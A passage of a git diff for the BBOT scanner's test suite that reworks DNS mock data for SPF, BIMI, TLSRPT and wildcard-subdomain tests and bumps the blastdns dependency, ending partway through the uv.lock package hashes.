include:spf-a.evilcorp.com include:spf-b.evilcorp.com include:icpbounce.com include:shops.shopify.com include:_spf.qemailserver.com include:spf.mandrillapp.com include:spf.protection.office365.us include:spf-003ea501.gpphosted.com 127.0.0.1 -all" + '"v=spf1 include:spf-a.evilcorp.com include:spf-b.evilcorp.com include:icpbounce.com ' + "include:shops.shopify.com include:_spf.qemailserver.com include:spf.mandrillapp.com " + 'include:spf.protection.office365.us include:spf-003ea501.gpphosted.com 127.0.0.1 -all"' ], } } @@ -871,6 +276,9 @@ async def test_dns_helpers(bbot_scanner): hostname = f"{srv_record}.example.com" assert service_record(hostname) is True + # all_rdtypes is the canonical list -- make sure it's not empty and contains the basics + assert "A" in all_rdtypes and "AAAA" in all_rdtypes and "CNAME" in all_rdtypes + # make sure system nameservers are excluded from use by DNS brute force brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"]) scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}}) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index ffb4ae0d46..8bea4e2700 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -76,10 +76,10 @@ def set_expect_requests(self, expect_args={}, respond_args={}): def set_expect_requests_handler(self, expect_args=None, request_handler=None): self.httpserver.expect_request(expect_args).respond_with_handler(request_handler) - async def mock_dns(self, mock_data, custom_lookup_fn=None, scan=None): + async def mock_dns(self, mock_data, scan=None): if scan is None: scan = self.scan - await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup_fn) + await scan.helpers.dns._mock_dns(mock_data) def mock_interactsh(self, name): from ...conftest import Interactsh_mock diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py b/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py index 5ceb9f44a4..3a74c493a6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbimi.py @@ -1,9 +1,22 @@ from .base import ModuleTestBase -raw_bimi_txt_default = ( +# Mock data is zone-file format. TXT character-strings must be quoted so that +# whitespace inside the payload is preserved (otherwise the zone-file lexer +# splits each token into its own character-string). +mock_bimi_txt_default = ( '"v=BIMI1;l=https://bimi.test.localdomain/logo.svg; a=https://bimi.test.localdomain/certificate.pem"' ) -raw_bimi_txt_nondefault = '"v=BIMI1; l=https://nondefault.thirdparty.tld/brand/logo.svg;a=https://nondefault.thirdparty.tld/brand/certificate.pem;"' +mock_bimi_txt_nondefault = ( + '"v=BIMI1; l=https://nondefault.thirdparty.tld/brand/logo.svg;' + 'a=https://nondefault.thirdparty.tld/brand/certificate.pem;"' +) + +# What the modules emit in RAW_DNS_RECORD events: hickory's Display strips the +# surrounding quotes from TXT, returning the bare character-string content. +raw_bimi_txt_default = ( + "v=BIMI1;l=https://bimi.test.localdomain/logo.svg; a=https://bimi.test.localdomain/certificate.pem" +) +raw_bimi_txt_nondefault = "v=BIMI1; l=https://nondefault.thirdparty.tld/brand/logo.svg;a=https://nondefault.thirdparty.tld/brand/certificate.pem;" class TestDnsbimi(ModuleTestBase): @@ -28,27 +41,27 @@ async def setup_after_prep(self, module_test): }, "default._bimi.test.localdomain": { "A": ["127.0.0.44"], - "TXT": [raw_bimi_txt_default], + "TXT": [mock_bimi_txt_default], }, "nondefault._bimi.test.localdomain": { "A": ["127.0.0.44"], - "TXT": [raw_bimi_txt_nondefault], + "TXT": [mock_bimi_txt_nondefault], }, "_bimi.default._bimi.test.localdomain": { "A": ["127.0.0.44"], - "TXT": [raw_bimi_txt_default], + "TXT": [mock_bimi_txt_default], }, "_bimi.nondefault._bimi.test.localdomain": { "A": ["127.0.0.44"], - "TXT": [raw_bimi_txt_default], + "TXT": [mock_bimi_txt_default], }, "default._bimi.default._bimi.test.localdomain": { "A": ["127.0.0.44"], - "TXT": [raw_bimi_txt_default], + "TXT": [mock_bimi_txt_default], }, "nondefault._bimi.nondefault._bimi.test.localdomain": { "A": ["127.0.0.44"], - "TXT": [raw_bimi_txt_nondefault], + "TXT": [mock_bimi_txt_nondefault], }, } ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py b/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py index d33ac11904..b561f2ff9d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnstlsrpt.py @@ -1,6 +1,12 @@ from .base import ModuleTestBase -raw_smtp_tls_txt = '"v=TLSRPTv1; rua=mailto:tlsrpt@sub.blacklanternsecurity.notreal,mailto:test@on.thirdparty.com, https://tlspost.example.com;"' +# Mock data is zone-file format: TXT must be quoted to keep the value as a single +# character-string (otherwise the zone-file lexer splits on whitespace). +mock_smtp_tls_txt = '"v=TLSRPTv1; rua=mailto:tlsrpt@sub.blacklanternsecurity.notreal,mailto:test@on.thirdparty.com, https://tlspost.example.com;"' + +# What the module emits in RAW_DNS_RECORD events (no surrounding quotes from +# hickory's Display impl). +raw_smtp_tls_txt = "v=TLSRPTv1; rua=mailto:tlsrpt@sub.blacklanternsecurity.notreal,mailto:test@on.thirdparty.com, https://tlspost.example.com;" class TestDNSTLSRPT(ModuleTestBase): @@ -19,13 +25,13 @@ async def setup_after_prep(self, module_test): }, "_smtp._tls.blacklanternsecurity.notreal": { "A": ["127.0.0.33"], - "TXT": [raw_smtp_tls_txt], + "TXT": [mock_smtp_tls_txt], }, "_tls._smtp._tls.blacklanternsecurity.notreal": { "A": ["127.0.0.44"], }, "_smtp._tls._smtp._tls.blacklanternsecurity.notreal": { - "TXT": [raw_smtp_tls_txt], + "TXT": [mock_smtp_tls_txt], }, "sub.blacklanternsecurity.notreal": { "A": ["127.0.0.55"], diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 4d1fbff4b3..e98a63bbce 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -177,18 +177,12 @@ class TestSubdomainEnumWildcardDefense(TestSubdomainEnumWildcardBaseline): dns_mock_data = { "walmart.cn": {"A": ["127.0.0.2"], "TXT": ["asdf.walmart.cn"]}, + # wildcard: every *.walmart.cn resolves to the same wildcard A record + r"regex:.*\.walmart\.cn$": {"A": ["127.0.0.99"]}, } async def setup_after_prep(self, module_test): - # simulate wildcard - custom_lookup = """ -def custom_lookup(query, rdtype): - import random - if rdtype == "A" and query.endswith(".walmart.cn"): - ip = ".".join([str(random.randint(0,256)) for _ in range(4)]) - return {ip} -""" - await module_test.mock_dns(self.dns_mock_data, custom_lookup_fn=custom_lookup) + await module_test.mock_dns(self.dns_mock_data) def check(self, module_test, events): # no subdomain enum should happen on this domain! diff --git a/pyproject.toml b/pyproject.toml index b10a93f7c6..770208479b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", - "blastdns>=1.5.2,<2", + "blastdns>=1.9.0,<2", ] [project.urls] diff --git a/uv.lock b/uv.lock index 2b7cbba003..324dc88390 100644 --- a/uv.lock +++ b/uv.lock @@ -263,7 +263,7 @@ requires-dist = [ { name = "ansible-runner", specifier = ">=2.3.2,<3" }, { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, - { name = "blastdns", specifier = ">=1.5.2,<2" }, + { name = "blastdns", specifier = ">=1.9.0,<2" }, { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, { name = "cloudcheck", specifier = ">=9.2.0,<10" }, { name = "deepdiff", specifier = ">=8.0.0,<9" }, @@ -342,104 +342,83 @@ wheels = [ [[package]] name = "blastdns" -version = "1.7.0" +version = "1.9.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "orjson" }, { name = "pydantic" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/74/a9/b4a7efc4e198bacc790b981035aa374c26e140de0ddcb3c8ebe6aba006e8/blastdns-1.7.0.tar.gz", hash = "sha256:51c8b48d12059bb29e503cb6bd5a0b2b4a4ee02c7188ba6a66ad2a3f6d3a6cd7", size = 106756, upload-time = "2026-03-24T20:04:59.584Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/0d/73/e8ea88f992335b4361347e67908f022cdcfea4a65b69e3ec96868b6a50f8/blastdns-1.7.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38ab0e8caf97f4a97733e68464d1da523ef1556de6a60d5fb75c7313ff29f116", size = 2202803, upload-time = "2026-03-24T20:02:43.678Z" }, - { url = "https://files.pythonhosted.org/packages/71/13/5de51747e46d6d8d574c61286bf5d66dd5c3ebf16bc5105c03567a08c0b7/blastdns-1.7.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:63ceb65873159908aba5ed1cccb1fc345f61c7bbcafe79350c9162e6911d23d7", size = 2092898, upload-time = "2026-03-24T20:02:57.648Z" }, - { url = "https://files.pythonhosted.org/packages/77/a4/09c0e23a797afd89732f0f0993335dfea51fd4989352f30090c1eb0c9e1b/blastdns-1.7.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9de712cf59fee49af4b55f35b360a1f6983b9793a6dd8ba81ac7e5bd1c2bf4c0", size = 2294252, upload-time = "2026-03-24T20:03:35.823Z" }, - { url = "https://files.pythonhosted.org/packages/23/88/e3113d33ce46afd9c39645e0046fb1df2be9ee9906c05c140280ece29993/blastdns-1.7.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5842d36ccc9f39426ac0cf862fc97b53f32f43cfc165d0f702b79ed1d4fe515d", size = 2537305, upload-time = "2026-03-24T20:03:09.741Z" }, - { url = "https://files.pythonhosted.org/packages/e9/6a/68766962f42f7ec34ea50e80b4a25d092545889fb538c7fde27ca9c8ad5a/blastdns-1.7.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43fefacbeac2648bc3136d84efe4b2449bfc28d559b1ceb96af687919776c5d3", size = 2253425, upload-time = "2026-03-24T20:03:22.885Z" }, - { url = "https://files.pythonhosted.org/packages/37/6b/e9ce1b93b1f4cf67137b4c3688accc2fad267c887fc820d53ed95135f626/blastdns-1.7.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e354a8d66dacbc95745f44753f552ff66170aa49c83c629f62085024768bcb0", size = 2197098, upload-time = "2026-03-24T20:03:46.011Z" }, - { url = "https://files.pythonhosted.org/packages/d6/74/254855b72c4ae6997212d2ba8e637df57c39327ef4285cedf493583a654f/blastdns-1.7.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7454781138889c0fab7c02a014c9ff84dfe17d1f22a25c3f574af0b8a0645e74", size = 2377213, upload-time = "2026-03-24T20:04:07.381Z" }, - { url = "https://files.pythonhosted.org/packages/90/17/dfdd753707812896b8af66ddf44a20bff964a1b7e3d03333ca609024715c/blastdns-1.7.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:7b18a267342a392dba8937ececf8229c213f887df158459fd4413d72dcd2cd72", size = 2366457, upload-time = "2026-03-24T20:04:19.849Z" }, - { url = "https://files.pythonhosted.org/packages/7c/39/5d7ed7dd1ea4ef5b81f9aeb05165decabd24c6e8fd2686be637dc7c1780e/blastdns-1.7.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4edcbb53d33d57a4951dcd8b538f53c6aa0163c6d4196ce3bafe70845c9390fc", size = 2432501, upload-time = "2026-03-24T20:04:31.915Z" }, - { url = "https://files.pythonhosted.org/packages/41/39/8672e62809b266db259791b608df0c592164bb342f8fd25294c47a2a7ea1/blastdns-1.7.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:684ba421c1b9b42ead7a74cc8fbabeba473b710e4bc81cd2f8fee7c642b2673c", size = 2438890, upload-time = "2026-03-24T20:04:45.14Z" }, - { url = "https://files.pythonhosted.org/packages/c9/b9/df2babd801d16e9343280ca39869bb7104601edac61540f5f6356ade73ce/blastdns-1.7.0-cp310-cp310-win_amd64.whl", hash = "sha256:d8ca11aafb6d0433ab2b92240878b3aee6e566b934a145bfdc43b15add306115", size = 1810814, upload-time = "2026-03-24T20:05:00.597Z" }, - { url = "https://files.pythonhosted.org/packages/4c/92/448988925401f1882a70940f8bb0b225374ece5c25277ae1681b2b077f92/blastdns-1.7.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:1228fc830016eae01e2e6ca2fc8403104fdb42f3f0e0e48c86bbe39d5e0e8246", size = 2019012, upload-time = "2026-03-24T20:04:01.943Z" }, - { url = "https://files.pythonhosted.org/packages/c3/b3/e210938e011db148c2a48294934e32698e586fba92413e1670dd5bc4fe53/blastdns-1.7.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d6cb64c3880861fb481d3b2cd7cf1b4be254f9036f2cee29db1172605546d5b7", size = 1983939, upload-time = "2026-03-24T20:03:56.412Z" }, - { url = "https://files.pythonhosted.org/packages/61/0f/0aa57277d742363bb7f1a323ba77372edd17b913c27af4f26b81fccb58a2/blastdns-1.7.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4325618c6cbd35e0c65f79ceff821597d986217b50120607f6f3ac90ab1473cb", size = 2202544, upload-time = "2026-03-24T20:02:45.37Z" }, - { url = "https://files.pythonhosted.org/packages/e0/45/ff359eb0f7e1822cb1fb32fdcf9e0eab6faf9c1fa1d6759b602f588be379/blastdns-1.7.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cdcec323757e9eb54fa50aeaeea25818bd7547be46beddd8ac9fb8e9dec1dade", size = 2094158, upload-time = "2026-03-24T20:02:58.99Z" }, - { url = "https://files.pythonhosted.org/packages/6b/0c/4e1a370e4c6ea6b84f2941eb80bf44141fe46d0e296ed1d93209683160eb/blastdns-1.7.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf15652ed15ea82c49a10d697174a63f00fe4304febba2575ecdab9633adb0b5", size = 2294376, upload-time = "2026-03-24T20:03:37.614Z" }, - { url = "https://files.pythonhosted.org/packages/d6/c4/55fb3cfc7b619ad6fca8d2c1cae5fccbfae3eb02b2dd9925953145d2ecc8/blastdns-1.7.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:079dccd14b073a21e5b43f37781c8388214018f7d617bf746112eefd2680885a", size = 2536914, upload-time = "2026-03-24T20:03:11.359Z" }, - { url = "https://files.pythonhosted.org/packages/94/7e/a109d90179209d6fe598f43c80dce87ab2e29a3497beba99e23b6667f7be/blastdns-1.7.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:681e50b337e108dc5feb46836a5b988bf6bd49c7c5b8a43ca5b6e4392f0fee90", size = 2253318, upload-time = "2026-03-24T20:03:24.377Z" }, - { url = "https://files.pythonhosted.org/packages/23/5a/eb85e3aad86c8bdfb724d4d08cd4b25510bd09773c8e196579641a923fba/blastdns-1.7.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ba420123335bc950f7f579b5022858ae55840f1901897cd9975c3274345dd4d", size = 2195425, upload-time = "2026-03-24T20:03:47.556Z" }, - { url = "https://files.pythonhosted.org/packages/e9/05/6ae6976cf4c83b1dc1a2a61085f084f79c6b9d4c314e0e806d32f255877f/blastdns-1.7.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:bf710ca5a40dfb2da2cc561da8a5c79d72a46a194f3bccb952f76db0665bcd40", size = 2376614, upload-time = "2026-03-24T20:04:08.849Z" }, - { url = "https://files.pythonhosted.org/packages/2d/94/ab4f9e98aa6505c20316430e150c5416b2113ecd6b0ce984d8872b8de14f/blastdns-1.7.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:39871dfab2e3270e5ccd9f27515edc16c5dec3cfcfdcb3461d1dc92eb7a71c07", size = 2368575, upload-time = "2026-03-24T20:04:21.145Z" }, - { url = "https://files.pythonhosted.org/packages/0c/84/700b447f48c398c67a843176ef698d2548a8c07c7f7f852f1ef45d983c79/blastdns-1.7.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:082ac3ea59ceaa4d5edee230b4cb1b42bb609e625f57f6d022f488fb862a5942", size = 2432763, upload-time = "2026-03-24T20:04:33.38Z" }, - { url = "https://files.pythonhosted.org/packages/65/4b/32cdc4d58705cf456377f05e67b52d8b7d3085aa24fd96998d6fbf0cb12c/blastdns-1.7.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4490ba85a6cc1716a8d1bedec363103797d567b79ed58d88219754d3750ceb7d", size = 2437558, upload-time = "2026-03-24T20:04:46.819Z" }, - { url = "https://files.pythonhosted.org/packages/69/44/7ad61f1a5848c07d97629b28a90bdd31b36efb47f18a5db37707e6b42dc0/blastdns-1.7.0-cp311-cp311-win_amd64.whl", hash = "sha256:0cd75db6c9398f85894546d88395965b007d679ea303e9efc17ca4fc5dd75a88", size = 1810631, upload-time = "2026-03-24T20:05:01.939Z" }, - { url = "https://files.pythonhosted.org/packages/9f/29/e8894950372c7a8da906f107c34b6de9d480c62c12479b0696781c0423ff/blastdns-1.7.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:ba609818ea0d3b742147be4b13f0eabd94816eaea296a30b4698e553d4f13a0b", size = 2016418, upload-time = "2026-03-24T20:04:03.204Z" }, - { url = "https://files.pythonhosted.org/packages/2b/eb/9d4b40c161b1a9f94a230d9fd416acaefdbcabeaca35376db887b779b7df/blastdns-1.7.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c13c1b0a2b0f61d41d0e01bebf0a66874d14c3d75ba45bfd8f72d094c6d3fed4", size = 1982349, upload-time = "2026-03-24T20:03:57.719Z" }, - { url = "https://files.pythonhosted.org/packages/6c/ab/1d28eda94db3cea4b315c1232c4d5006a4d3519d1dc67921fbbc44cfc339/blastdns-1.7.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7dde4d54b9cb044e93de2a37474e651dfb6ee91d6915b1f6d1e3a7de5b44a10e", size = 2197321, upload-time = "2026-03-24T20:02:46.663Z" }, - { url = "https://files.pythonhosted.org/packages/48/9a/8dc26d079bdf412b99942205ac11d63f837d354b9763afc58982da8b2a18/blastdns-1.7.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3de01ff7bee1bdb02819f55de3d199e3123dabc27fc4a6172a94afbd06bb1f2a", size = 2089899, upload-time = "2026-03-24T20:03:00.294Z" }, - { url = "https://files.pythonhosted.org/packages/52/d5/e194bbe52db1722fe5e5ee1fca2f631dab91ed38ce5a4e93a9fb603a639b/blastdns-1.7.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39a0f8697b81370ff225aaddbfde457afb2d29ee06a71f7f15dbfc9b9144babe", size = 2289022, upload-time = "2026-03-24T20:03:38.852Z" }, - { url = "https://files.pythonhosted.org/packages/9b/c5/eb850afeb51820a40ba11447cc2f33d943c0ee572558d19a8656b8ce98a5/blastdns-1.7.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a26f84553aa5f8600730fa5161dbfc7639cbc6e5f752dc67791c1bf4c5c0a8a", size = 2530595, upload-time = "2026-03-24T20:03:12.687Z" }, - { url = "https://files.pythonhosted.org/packages/c4/18/b155fc8b03ea657faa01c95999b05d6a1d7e2bf9d98376ce4ddcd471728a/blastdns-1.7.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e8d2779894a1d62eb6426fbb06eb02996ee121c8165008962f370a940ed5d723", size = 2249537, upload-time = "2026-03-24T20:03:25.896Z" }, - { url = "https://files.pythonhosted.org/packages/3b/29/67574e94911249e99eae7103122e5acee6b17419c8ad8225305a634ba985/blastdns-1.7.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c30ffc6ba66102a1fa3056b70b0c7c60e8a77d2dd99b22bf1bf7a8c68f38bc6", size = 2191005, upload-time = "2026-03-24T20:03:49.108Z" }, - { url = "https://files.pythonhosted.org/packages/d5/5f/341ca8a68e7744536db984f343034ff75b838c2ef95340d7b28c912d960c/blastdns-1.7.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ba9cbb9641797e5e9e95587c8108b232cd4de4d617b926b166448f909bfceab0", size = 2371727, upload-time = "2026-03-24T20:04:10.093Z" }, - { url = "https://files.pythonhosted.org/packages/46/51/092c0b9aa6ebb3233dac6cbb6eeebd87b0ad32ad9d7806e7315e0eed82c7/blastdns-1.7.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0e77d2e2b38e6885049d0e6c54eed332c3e344cb5e9590680abfd412d0c12767", size = 2361279, upload-time = "2026-03-24T20:04:22.521Z" }, - { url = "https://files.pythonhosted.org/packages/aa/af/bb03bbcad7ba591688ad4505a568118ef46cd82c8c51e2b8d2e87d28ec87/blastdns-1.7.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:82f6bf329ecf2ee9fc006e6d989737dfabbab8b3639ccc90dc9bde3ab8d19e21", size = 2426536, upload-time = "2026-03-24T20:04:34.677Z" }, - { url = "https://files.pythonhosted.org/packages/ab/c5/23b53fff4676bc299cd6442b8ad25b8f7c6c98b73eb2d42df78bd1812e2c/blastdns-1.7.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d477c4d4b0bce334a28094ca95dd8c1e03409c6d13870cd527c9d55d1b75e4e0", size = 2432699, upload-time = "2026-03-24T20:04:48.437Z" }, - { url = "https://files.pythonhosted.org/packages/ca/4a/4fb95e43a3025602524076e0c562ff57bb1e57c194f4673ec85b106d583d/blastdns-1.7.0-cp312-cp312-win_amd64.whl", hash = "sha256:d03910ac462091b1123eeef01c08b9e32c99676012c3dc05b9c7cb724f736797", size = 1808427, upload-time = "2026-03-24T20:05:03.347Z" }, - { url = "https://files.pythonhosted.org/packages/de/f1/603e0dafbd6bfd6d1331991926be61817f4c6c76c92e3e03008ee03b07b5/blastdns-1.7.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:19d07c714272a27a7ecb5b9407d1c352203778e1c3aa59dbb24faaaeda3f4071", size = 2015619, upload-time = "2026-03-24T20:04:04.455Z" }, - { url = "https://files.pythonhosted.org/packages/6f/5b/2f713d2e3a6b4c982ab45c164d54a891ad644af75edb78299f529dc965b0/blastdns-1.7.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:48b387d35582458c8212e53ff20b3547b64be808870d1633d5dc1b22f1d2519c", size = 1981948, upload-time = "2026-03-24T20:03:59.341Z" }, - { url = "https://files.pythonhosted.org/packages/59/3d/8f73560c393afa295998dbc34f9fd11e941dc6fe657cb53dcade3f29e775/blastdns-1.7.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e747f78ff1ec3b22379ad68b782fdc662198dff7ba14684c28a2737e5ce9037", size = 2196949, upload-time = "2026-03-24T20:02:48.383Z" }, - { url = "https://files.pythonhosted.org/packages/80/c5/17a7d4156c60da45785ee3e793d596c5cb048f473b6de4dd5386e4bee704/blastdns-1.7.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b6d8b4cd4dca799aab035b84bcb385051d1ee5162e0fd7770010d22fe21047d8", size = 2089542, upload-time = "2026-03-24T20:03:01.512Z" }, - { url = "https://files.pythonhosted.org/packages/71/49/b47149bd449e48fe42c30ea7193db2f3b6b74cbc2176418328be702180f7/blastdns-1.7.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:86747d4e4050fd8551e965fc223324f252b33d3a3ee70e2a8c238d790c67481e", size = 2289359, upload-time = "2026-03-24T20:03:40.257Z" }, - { url = "https://files.pythonhosted.org/packages/92/ef/bf09ed6dc7803d75b926ca00237ba02282ed4d3f8d2ab6db3135c3a13248/blastdns-1.7.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ed95277da188d09da8d346570688fd746df98a39b9a4625dba73b3535207717", size = 2529622, upload-time = "2026-03-24T20:03:14.131Z" }, - { url = "https://files.pythonhosted.org/packages/1d/eb/8305e22c00cd3566183b9d766688bbded3e7897b4ea811c044c4b2fd5143/blastdns-1.7.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd9b9d2da95cc40f947ff226e255e95f5eb8c479e35d0165ed2292710ceb9440", size = 2249554, upload-time = "2026-03-24T20:03:27.091Z" }, - { url = "https://files.pythonhosted.org/packages/28/01/0248d5daae1922a0ebdb8c3490c3fe1c50e0c9cd98abff118f9f6395d346/blastdns-1.7.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:829e53d3b80b610df7eb783a14c3d2460fe01f735bfa52a315c88ed81f495c7f", size = 2190014, upload-time = "2026-03-24T20:03:50.697Z" }, - { url = "https://files.pythonhosted.org/packages/e4/d8/d7d987308ee88f06fc1f12ca01937c9bedcc5c4fe9ed86542c226f9fd89d/blastdns-1.7.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:caef1279272542eb5740c7d0161348db0802ffaa7938b600fd1aee1a2d1de963", size = 2371478, upload-time = "2026-03-24T20:04:11.438Z" }, - { url = "https://files.pythonhosted.org/packages/58/e3/cf59da0c6a71b0605994d074956918fd651aabb616e165c0028b603eb409/blastdns-1.7.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:15db8f6afad398b1c099139dbf5ead71d579035b48428a1a04328e91e92a315d", size = 2361208, upload-time = "2026-03-24T20:04:23.774Z" }, - { url = "https://files.pythonhosted.org/packages/45/e0/ad6a6ac00da668195750149a3a4c5beeaeb135abaa0049b3af5b12fba7bd/blastdns-1.7.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:dfc349f328f8615c631aabb3329b82cecf0f6765b3b62f927b28f4649eb6ed01", size = 2426554, upload-time = "2026-03-24T20:04:36.057Z" }, - { url = "https://files.pythonhosted.org/packages/33/ae/1ff662f68aeaf421dc35d4655ac625fb170c8ac1eb9b05027cbfad2d670b/blastdns-1.7.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5278ff62ddd8126b667140803cc8b5be2c6c4aa1d927ec182a9c2d9c08eb918d", size = 2432372, upload-time = "2026-03-24T20:04:50.412Z" }, - { url = "https://files.pythonhosted.org/packages/12/e2/29091fe7cca2ede0aaae1dacc475681e07dc451fa74c192fd0c66323e0a2/blastdns-1.7.0-cp313-cp313-win_amd64.whl", hash = "sha256:7370926aa9224594943cb223639488e34d7cb41893acdab36058488b627aa4d6", size = 1808223, upload-time = "2026-03-24T20:05:04.713Z" }, - { url = "https://files.pythonhosted.org/packages/eb/4e/871b86f6de33d1a342c06c2b6fc5607ce80bc9365a49386ac1825cd09eeb/blastdns-1.7.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:597fec525ac8496ab6d2e7b19afbfc3c6d567a851fb410a7fa65399218543ac8", size = 2199585, upload-time = "2026-03-24T20:02:50.123Z" }, - { url = "https://files.pythonhosted.org/packages/b0/3e/d6cbf225a4db08fc0fdb52e3bbcfff8e5232b3d1f14d62b393c24439705b/blastdns-1.7.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8e394f00cd0fb2d77db5f86c0b6d65ac729a869711adc479fcb1a559d98c36cf", size = 2089876, upload-time = "2026-03-24T20:03:02.723Z" }, - { url = "https://files.pythonhosted.org/packages/31/73/c39278171786789b9f92cd36a5b102c0e888efc6803b5f561361301add01/blastdns-1.7.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7ec60bc3f75c31a009aec3c2bc4af172b1ebfcaf0a07d4c8b47267a1c88d345b", size = 2541239, upload-time = "2026-03-24T20:03:15.76Z" }, - { url = "https://files.pythonhosted.org/packages/aa/52/40f03bcb382a04c9aa29aa9993b2222d8d18bf4cb2805ec8df8bee1a842f/blastdns-1.7.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2e4e6fcd009c3d8905f5841548a4af9d2eccdd180a6ba9780ca8827df75e7655", size = 2254354, upload-time = "2026-03-24T20:03:28.531Z" }, - { url = "https://files.pythonhosted.org/packages/44/45/858d5cf64ff8991a04b98b047db1f499a11186d0bb478e7225f441e27f81/blastdns-1.7.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c3fb5af82a3f95ecb339f818372a7b93c7a3732f5edec4cc515f38dafe2559b9", size = 2374748, upload-time = "2026-03-24T20:04:12.81Z" }, - { url = "https://files.pythonhosted.org/packages/03/af/f40527c949af82039c2cf41ca42b0e9b6875ba115d90f63c6de6350e0b9e/blastdns-1.7.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:908e81b6537aae45ad4a60e0cfdc682bdd30ce522155c4081e428a7e9277f340", size = 2360417, upload-time = "2026-03-24T20:04:25.042Z" }, - { url = 